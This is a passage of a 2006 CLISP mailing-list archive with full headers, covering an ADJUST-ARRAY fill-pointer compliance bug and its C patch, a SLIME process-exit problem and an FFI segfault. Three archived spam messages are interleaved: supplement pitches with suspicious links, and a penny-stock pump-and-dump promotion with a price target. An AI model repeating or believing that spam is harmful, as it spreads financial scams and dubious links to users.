you if we need more information. > The CLHS page for ADJUST-ARRAY says: > > An error of type error is signaled if fill-pointer is supplied and > non-nil but array has no fill pointer. > > However, CLISP says: > > [1]> (lisp-implementation-version) > "2.39 (2006-07-16) (built 3364196085) (memory 3364203222)" > [2]> "foo" > "foo" > [3]> (array-has-fill-pointer-p *) > NIL > [4]> (adjust-array ** 3 :fill-pointer t) > "foo" > [5]> (array-has-fill-pointer-p *) > T Interesting. I would think that the error requirement applies only if the array is modified, not when a new array is created. Maybe we should discuss this on comp.lang.lisp? note that both cmucl and sbcl are even weirder: they do the exact same thing except that last form returns NIL! gcl signal an error as the spec appears to require. how about acl? lw? thanks. Sam. From lisp-clisp-list@m.gmane.org Thu Aug 10 14:41:02 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GBIGz-0006ci-Vz for clisp-list@lists.sourceforge.net; Thu, 10 Aug 2006 14:41:02 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GBIGz-0002xx-5V for clisp-list@lists.sourceforge.net; Thu, 10 Aug 2006 14:41:01 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GBIGl-00081P-52 for clisp-list@lists.sourceforge.net; Thu, 10 Aug 2006 23:40:47 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 10 Aug 2006 23:40:47 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 10 Aug 2006 23:40:47 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Thu, 10 Aug 2006 17:40:37 -0400 Lines: 99 Message-ID: <44DBA7D5.3080708@gnu.org> References: <85wt9gogwz.fsf@junk.nocrew.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.4 (X11/20060614) In-Reply-To: <85wt9gogwz.fsf@junk.nocrew.org> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ANSI compliance bug in ADJUST-ARRAY X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Aug 2006 21:41:02 -0000 Lars Brinkhoff wrote: > The CLHS page for ADJUST-ARRAY says: > > An error of type error is signaled if fill-pointer is supplied and > non-nil but array has no fill pointer. > > However, CLISP says: > > [1]> (lisp-implementation-version) > "2.39 (2006-07-16) (built 3364196085) (memory 3364203222)" > [2]> "foo" > "foo" > [3]> (array-has-fill-pointer-p *) > NIL > [4]> (adjust-array ** 3 :fill-pointer t) > "foo" please try this patch: --- array.d 17 May 2006 08:54:49 -0400 1.107 +++ array.d 10 Aug 2006 17:39:23 -0400 @@ -3741,6 +3741,14 @@ VALUES_IF(array_has_fill_pointer_p(array)); } +/* signal an error when the vector does not have a fill pointer */ +nonreturning_function(local,fehler_no_fillp,(object vec)) { + pushSTACK(vec); /* TYPE-ERROR slot DATUM */ + pushSTACK(O(type_vector_with_fill_pointer)); /* TYPE-ERROR slot EXPECTED-TYPE */ + pushSTACK(vec); pushSTACK(TheSubr(subr_self)->name); + fehler(type_error,GETTEXT("~S: vector ~S has no fill pointer")); +} + /* check, if object is a vector with fill-pointer, and returns the address of the fill-pointer. *get_fill_pointer(obj) is the fill-pointer itself. @@ -3749,22 +3757,13 @@ /* obj must be a vector: */ if (!vectorp(obj)) fehler_vector(obj); - /* must not be simple: */ - if (simplep(obj)) - goto fehler_fillp; - /* must contain a fill-pointer: */ - if (!(Iarray_flags(obj) & bit(arrayflags_fillp_bit))) - goto fehler_fillp; + /* must not be simple & must have a fill-pointer */ + if (simplep(obj) || !(Iarray_flags(obj) & bit(arrayflags_fillp_bit))) + fehler_no_fillp(obj); /* where is the fill-pointer? */ return ((Iarray_flags(obj) & bit(arrayflags_dispoffset_bit)) ? &TheIarray(obj)->dims[2] /* behind displaced-offset and dimension 0 */ : &TheIarray(obj)->dims[1]); /* behind dimension 0 */ - fehler_fillp: - /* error-message: */ - pushSTACK(obj); /* TYPE-ERROR slot DATUM */ - pushSTACK(O(type_vector_with_fill_pointer)); /* TYPE-ERROR slot EXPECTED-TYPE */ - pushSTACK(obj); pushSTACK(TheSubr(subr_self)->name); - fehler(type_error,GETTEXT("~S: vector ~S has no fill pointer")); } LISPFUNNR(fill_pointer,1) { /* (FILL-POINTER vector), CLTL p. 296 */ @@ -4887,10 +4886,13 @@ if no :initial-contents and no :displaced-to, copy contents */ var bool copy_p = !boundp(STACK_3) && missingp(STACK_1); var object array = STACK_6; + var bool has_fill_p = array_has_fill_pointer_p(array); + if (!has_fill_p && !missingp(STACK_2)) + fehler_no_fillp(array); pushSTACK(STACK_1); pushSTACK(STACK_1); /* :FILL-POINTER NIL means keep it as it was */ - STACK_2 = !missingp(STACK_4) ? (object)STACK_4 : - array_has_fill_pointer_p(array) ? fixnum(*get_fill_pointer(array)) : NIL; + STACK_2 = (!missingp(STACK_4) ? (object)STACK_4 : + has_fill_p ? fixnum(*get_fill_pointer(array)) : NIL); STACK_3 = STACK_5; STACK_4 = STACK_6; STACK_5 = STACK_7; STACK_6 = NIL; /* :ADJUSTABLE NIL */ STACK_7 = STACK_9; /* dims */ @@ -5002,13 +5004,8 @@ /* modify the given array. */ if (!nullp(STACK_2)) { /* fill-pointer supplied? */ /* array must have fill-pointer: */ - if (!(Iarray_flags(STACK_6) & bit(arrayflags_fillp_bit))) { - pushSTACK(STACK_6); /* TYPE-ERROR slot DATUM */ - pushSTACK(O(type_vector_with_fill_pointer)); /* TYPE-ERROR slot EXPECTED-TYPE */ - pushSTACK(STACK_(6+2)); - pushSTACK(TheSubr(subr_self)->name); - fehler(type_error,GETTEXT("~S: array ~S has no fill-pointer")); - } + if (!(Iarray_flags(STACK_6) & bit(arrayflags_fillp_bit))) + fehler_no_fillp(STACK_6); fillpointer = test_fillpointer(totalsize); /* fill-pointer-value */ } else { /* If array has a fill-pointer, it must be <= the new total-size: */ From s11@member.fsf.org Thu Aug 10 14:52:19 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GBIRv-0007aC-Cv for clisp-list@lists.sourceforge.net; Thu, 10 Aug 2006 14:52:19 -0700 Received: from [192.195.225.73] (helo=uesmtp.evansville.edu) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GBIRr-00054R-Uy for clisp-list@lists.sourceforge.net; Thu, 10 Aug 2006 14:52:19 -0700 Received: from uemail.evansville.edu ([10.5.0.16]) by uesmtp.evansville.edu with Microsoft SMTPSVC(6.0.3790.1830); Thu, 10 Aug 2006 16:51:09 -0500 Received: from [192.168.101.126] ([206.113.130.82]) by uemail.evansville.edu with Microsoft SMTPSVC(6.0.3790.1830); Thu, 10 Aug 2006 16:51:08 -0500 Message-ID: <44DBAA5A.8000003@member.fsf.org> Date: Thu, 10 Aug 2006 17:51:22 -0400 From: Stephen Compall User-Agent: Thunderbird 1.5.0.5 (Macintosh/20060719) MIME-Version: 1.0 To: Lei Tang References: In-Reply-To: X-Enigmail-Version: 0.94.0.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 10 Aug 2006 21:51:08.0884 (UTC) FILETIME=[16831140:01C6BCC7] X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp.exe never ends after exit xemacs with slime X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Aug 2006 21:52:19 -0000 Lei Tang wrote: > I have just configured slime with xemacs associated with Clisp. It works > fine when I switch to "slime mode" if I type M-x slime. However, when I > exit xemacs, there's always coming up with a process "lisp.exe" which > exhaust all the cpu resources and never ends. I have to kill it manually. I believe this is a problem with XEmacs's process management on NT, rather than CLISP itself; not having an NT machine, I can't be sure. Perhaps (add-hook 'kill-emacs-hook 'slime-quit-lisp) in your .emacs file or other appropriate place will do what you want? -- Stephen Compall http://scompall.nocandysw.com/blog From lisp-clisp-list@m.gmane.org Thu Aug 10 19:01:09 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GBMKj-00036w-LQ for clisp-list@lists.sourceforge.net; Thu, 10 Aug 2006 19:01:09 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GBMKi-0000WL-QH for clisp-list@lists.sourceforge.net; Thu, 10 Aug 2006 19:01:09 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GBMKb-0002Ib-QT for clisp-list@lists.sourceforge.net; Fri, 11 Aug 2006 04:01:02 +0200 Received: from en4028117.dhcp.asu.edu ([149.169.176.38]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 11 Aug 2006 04:01:01 +0200 Received: from L.Tang by en4028117.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 11 Aug 2006 04:01:01 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Lei Tang Date: Thu, 10 Aug 2006 18:58:38 -0700 Lines: 35 Message-ID: References: <44DBAA5A.8000003@member.fsf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: en4028117.dhcp.asu.edu User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en In-Reply-To: <44DBAA5A.8000003@member.fsf.org> Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] lisp.exe never ends after exit xemacs with slime X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Aug 2006 02:01:09 -0000 Thanks a lot for your suggestion. I tried to add (add-hook 'kill-emacs-hook 'slime-quit-lisp) in init file. The problem is if I close Xemacs without invoking the slime mode, it always return me the information "not connected". (I guess this could be solved by checking a variable (whether slime mode is active). Also, if I enter slime mode and close xemacs, it signals errors sometimes which is really wierd. Right now, what I do is type M-x slime-quit-lisp before I close the xemacs window. And this method works fine, though, a little bothersome. -Lei Stephen Compall wrote: > Lei Tang wrote: > >>I have just configured slime with xemacs associated with Clisp. It works >>fine when I switch to "slime mode" if I type M-x slime. However, when I >>exit xemacs, there's always coming up with a process "lisp.exe" which >>exhaust all the cpu resources and never ends. I have to kill it manually. > > > I believe this is a problem with XEmacs's process management on NT, > rather than CLISP itself; not having an NT machine, I can't be sure. > Perhaps > > (add-hook 'kill-emacs-hook 'slime-quit-lisp) > > in your .emacs file or other appropriate place will do what you want? > From pjb@informatimago.com Fri Aug 11 14:13:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GBeKL-00040S-Qg for clisp-list@lists.sourceforge.net; Fri, 11 Aug 2006 14:13:58 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GBeKJ-0002MX-7q for clisp-list@lists.sourceforge.net; Fri, 11 Aug 2006 14:13:57 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 0668458703; Fri, 11 Aug 2006 23:13:48 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C51AE586D3; Fri, 11 Aug 2006 23:13:44 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4168712AD84; Fri, 11 Aug 2006 23:13:44 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit Message-Id: <20060811211344.4168712AD84@thalassa.informatimago.com> Date: Fri, 11 Aug 2006 23:13:44 +0200 (CEST) X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Simple FFI? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Aug 2006 21:13:58 -0000 I'd like to call; void pbm_init(int* argcp,char* argv[]); I can't find the correct way to declare the function and to call it. What's wrong with me? [1]> (ffi:def-call-out pbm-init (:name "pbm_init") (:arguments (argc ffi:c-pointer :in) (argv (FFI:C-ARRAY-ptr ffi:c-string) :in)) (:return-type nil) (:language :stdc) (:library "/usr/lib/libnetpbm.so")) PBM-INIT [2]> (ffi:with-c-var (argc 'ffi:int 0) (pbm-init (print (ffi:c-var-address argc)) #())) # *** - handle_fault error2 ! address = 0x0 not in [0x20280004,0x204d4c84) ! SIGSEGV cannot be cured. Fault address = 0x0. Permanently allocated: 105600 bytes. Currently in use: 3782648 bytes. Free space: 711700 bytes. Process inferior-lisp segmentation fault -- __Pascal Bourguignon__ http://www.informatimago.com/ ATTENTION: Despite any other listing of product contents found herein, the consumer is advised that, in actuality, this product consists of 99.9999999999% empty space. From pjb@informatimago.com Fri Aug 11 14:32:03 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GBebr-0005VT-9a for clisp-list@lists.sourceforge.net; Fri, 11 Aug 2006 14:32:03 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GBebp-0006FR-N0 for clisp-list@lists.sourceforge.net; Fri, 11 Aug 2006 14:32:03 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 4C932586B8; Fri, 11 Aug 2006 23:31:58 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 9F922586B8; Fri, 11 Aug 2006 23:31:55 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 85A0012AD84; Fri, 11 Aug 2006 23:31:55 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17628.63307.474617.304965@thalassa.informatimago.com> Date: Fri, 11 Aug 2006 23:31:55 +0200 To: In-Reply-To: <20060811211344.4168712AD84@thalassa.informatimago.com> References: <20060811211344.4168712AD84@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Simple FFI? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Aug 2006 21:32:03 -0000 Pascal Bourguignon writes: > > I'd like to call; void pbm_init(int* argcp,char* argv[]); Nevermind, this is not a problem with FFI, but with pbm_init which expects at least one string in argv[0]. Sorry for the noise. -- __Pascal Bourguignon__ http://www.informatimago.com/ This universe shipped by weight, not volume. Some expansion may have occurred during shipment. From sds@podval.org Fri Aug 11 16:08:19 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GBg71-00056H-7P for clisp-list@lists.sourceforge.net; Fri, 11 Aug 2006 16:08:19 -0700 Received: from mta9.srv.hcvlny.cv.net ([167.206.4.204]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GBg6y-0006y0-NC for clisp-list@lists.sourceforge.net; Fri, 11 Aug 2006 16:08:19 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta9.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J3U00DI6W6Y3E00@mta9.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Fri, 11 Aug 2006 19:06:34 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 39DD421E08E; Fri, 11 Aug 2006 19:07:01 -0400 (EDT) Date: Fri, 11 Aug 2006 19:07:00 -0400 From: Sam Steingold In-reply-to: <17628.63307.474617.304965@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Mail-followup-to: clisp-list@lists.sourceforge.net, pjb@informatimago.com Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <20060811211344.4168712AD84@thalassa.informatimago.com> <17628.63307.474617.304965@thalassa.informatimago.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Simple FFI? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Aug 2006 23:08:19 -0000 > * Pascal Bourguignon [2006-08-11 23:31:55 +0200]: > > Pascal Bourguignon writes: >> >> I'd like to call; void pbm_init(int* argcp,char* argv[]); > > Nevermind, this is not a problem with FFI, but with pbm_init which > expects at least one string in argv[0]. good. would you like to contribute a netpbm module? -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://truepeace.org http://ffii.org http://honestreporting.com http://memri.org http://jihadwatch.org http://israelnorthblog.livejournal.com/ Time would have been the best Teacher, if it did not kill all its students. From masube@tgirltramps.com Sun Aug 13 09:35:59 2006 Received: from [10.3.1.94] (helo=sc8-sf-list2-new.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GCIwR-0004PK-Ki; Sun, 13 Aug 2006 09:35:59 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list2-new.sourceforge.net with esmtp (Exim 4.43) id 1GCIwQ-00021z-5F; Sun, 13 Aug 2006 09:35:58 -0700 Received: from [84.7.144.54] (helo=tgirltramps.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1GCIwO-00073L-1J; Sun, 13 Aug 2006 09:35:58 -0700 Message-ID: <9437DA15.6F7F6FF@tgirltramps.com> Date: Sun, 13 Aug 2006 19:26:47 +0800 From: "Eliseo" User-Agent: Mozilla 4.78 [en] (Windows NT 5.0; U) MIME-Version: 1.0 To: "Ysaye" Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 1.8 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [84.7.144.54 listed in dnsbl.sorbs.net] 1.7 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [84.7.144.54 listed in combined.njabl.org] Cc: Lukyen , Tymon , Udbaine , Kerey , Al-Hamda , Dennis Subject: [clisp-list] just wanted to drop a line X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 13 Aug 2006 16:35:59 -0000 Listen, how has your pep been feeling? perfect, heya, just wanted to see if u were still wanting to get fit? Hope you are cause I saw these guys http://www.vyrm.atomicefor.com/ul/ and it only takes 11 sec to start the process. It's the the thing that you've been hearing about that all the top people in sports are using. as I method could thick creature showed paint a sort cloudy day, though warm, From mi-jungmail@airlinetest.com Wed Aug 16 11:00:52 2006 Received: from [10.3.1.94] (helo=sc8-sf-list2-new.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GDPhE-0002o3-0V; Wed, 16 Aug 2006 11:00:52 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list2-new.sourceforge.net with esmtp (Exim 4.43) id 1GDPhC-0005Qo-Mg; Wed, 16 Aug 2006 11:00:50 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GDPhA-0006Oj-Ql; Wed, 16 Aug 2006 11:00:51 -0700 Received: from [222.165.172.111] (helo=airlinetest.com) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1GDPh4-0001wk-E8; Wed, 16 Aug 2006 11:00:45 -0700 Message-ID: <2BC09DFC.3AE145B@airlinetest.com> Date: Thu, 17 Aug 2006 03:45:14 +1200 From: "Andre" User-Agent: Mozilla/5.0 (compatible; Konqueror/2.2.1; Linux) X-Accept-Language: en-us MIME-Version: 1.0 To: "Sultan" Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Tern , Elmer , Earl , Yehothe , Tukuli Subject: [clisp-list] thought i'd say hi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Aug 2006 18:00:52 -0000 How is ur zal been? great, funny,you still wanting to get into shape? Hope ur cause I was told these guys http://www.kmlq.healtcorps.com/ma/ and it only takes 17 sec to start the process. It's the the thing that you've been hearing about that all the bicyclists are using. there was wafted to my influence the black night quintuplet behind us and ocean, and reminder that club snow might be falling all about Caprona; From ixmwfszpaud@epcandies.com Wed Aug 23 13:27:11 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GFzJf-0007NR-Cy for clisp-list@lists.sourceforge.net; Wed, 23 Aug 2006 13:27:11 -0700 Received: from [200.87.222.84] (helo=[200.87.222.84]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GFzJd-0007kr-Nz for clisp-list@lists.sourceforge.net; Wed, 23 Aug 2006 13:27:11 -0700 Date: Wed, 23 Aug 2006 16:26:59 +0400 From: "Client" To: clisp-list@lists.sourceforge.net X-mailer: Foxmail 6, 4, 104, 20 [en] MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Content-Transfer-Encoding: 7bit Message-ID: X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Care Haircut. Nick X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 23 Aug 2006 20:27:11 -0000 W_A_T_C_H O_U_T! HERE COMES THE BIG ONE! THURSDAY AUG 24th IS SURE TO BE A BIG DAY! Company Name: W_ILD B_RUSH E_NERGY (Other O T C: W B R S . P K ) S ym bol: W B R S 1-day T_arget: 0.10 Current P_rice: 0.05 W_ILD B_RUSH M AKES A MOVE! Wild Brush Acquires Additional Powder River Oil & Gas Lease. Read More Online NOW! Who is Wild Brush? Wild Brush Energy is a diversified energy company whose primary goal is to identify and develop Oil & Coalbed Methane sites within the State of Wyoming. In addition, Wild Brush Energy continues to evaluate clean air alternative energy producing technologies such as Wind Power. Wild Brush trades in the U.S. under the symbol "W B R S ." Currently trading in the .05 range! Now is your chance! ADD THIS GEM TO YOUR WATCH LIST, AND WATCH IT T R A D E CLOSELY ON THURSDAY AUGUST 24th! From arvkrishna@students.iiit.net Wed Aug 23 20:56:47 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GG6Kl-0004i2-Ka for clisp-list@lists.sourceforge.net; Wed, 23 Aug 2006 20:56:47 -0700 Received: from students.iiit.ac.in ([196.12.53.11] helo=students.iiit.net) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GG6Kh-0007io-Od for clisp-list@lists.sourceforge.net; Wed, 23 Aug 2006 20:56:47 -0700 Received: from students.iiit.ac.in (localhost.localdomain [127.0.0.1]) by students.iiit.net (8.13.6/8.13.0) with ESMTP id k7O1ti5d014655 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 24 Aug 2006 07:25:44 +0530 Received: from localhost (arvkrishna@localhost) by 